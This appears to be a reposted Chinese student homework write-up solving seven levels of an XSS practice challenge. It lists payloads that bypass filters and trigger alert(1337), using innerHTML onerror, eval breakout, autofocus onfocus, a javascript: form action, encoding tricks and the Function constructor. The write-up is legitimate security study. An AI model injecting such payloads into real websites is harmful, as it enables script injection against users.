当前位置: 首页> 房产> 市场 > 第三次作业

第三次作业

时间:2025/7/12 10:33:39来源:https://blog.csdn.net/BZZBR/article/details/141288835 浏览次数:0次

第一关

somebody赋值运行结果

innerHTML函数的安全问题,<script>标签被过滤

换用<img>标签输入?somebody=<img src=1 οnerrοr="alert(1337)">成功弹窗

浏览器会解析 innerHTML,从而导致 onerror 事件处理器被注入并执行,弹出 alert(1337) 的对话框

使用innerHTML,得到输出

使用innerText,得到输出

两者对比发现innerText函数比innerHTML函数安全,将标签直接当作文本输出

第二关

写入?jeff=tony";alert(1337);"成功弹窗

eval 中,没有进行任何清理或验证,攻击者可以通过操控 jeff 参数来执行任意 JavaScript 代码

eval 将执行 alert(1337),导致弹出对话框

以下是拼接后的代码

另一种方法,但输出有问题

代码debug正常

第三关

使用 replace(/[<>]/g, '') 过滤掉字符串中的 <> 字符。

最终的字符串被设置为 uganda 元素的 innerHTML,其中包含一个带有 placeholder 属性的 <input> 元素。

测试一下

可以使用onfocus和autofocus

输入?wey=tony" οnfοcus="alert(1337) autofocus="成功弹窗

第四关

ricardo.action 通过从 URL 中提取 ricardo 查询参数的值来动态设置表单的提交目标

setTimeout 函数在两秒后自动提交表单

ricardo.action 直接从 URL 中获取输入并用于设置表单的 action 属性,可以通过操纵 ricardo 参数的值来将表单提交

测试

输入?ricardo=javascript:alert(1337);

表单在两秒后提交时,会执行 javascript:alert(1337),弹出一个对话框

第五关

使用 replace(/[\(\)\]/g, '')过滤掉字符串中的圆括号()、反引号 `` `` 和反斜杠 \

但用户输入设置为 innerHTML

编码了符号,无法执行,location变成字符串,然后编码实现

导致浏览器执行 onerror 事件处理器中的 alert(1337)

输入?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">成功弹窗

第六关

balls = balls.replace(/[A-Za-z0-9]/g, '') 过滤掉 balls 字符串中的所有字母和数字字符。

选择编码绕过

alert(1337)的编码:

url encode编码:

输入

成功弹窗

第七关

函数构造

因为alert被过滤,使用ALERT,使用toLowerCase()函数将大写转小写

输入?mafia=Function(/ALERT(1337)/.source.toLowerCase())();成功弹窗

parselnt和toString函数使用

输入?mafia=eval(8680439..toString(30))(1337);成功弹窗

slice()截取函数

输入?mafia=eval(location.hash.slice(1))#alert(1337);成功弹窗

关键字:第三次作业

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: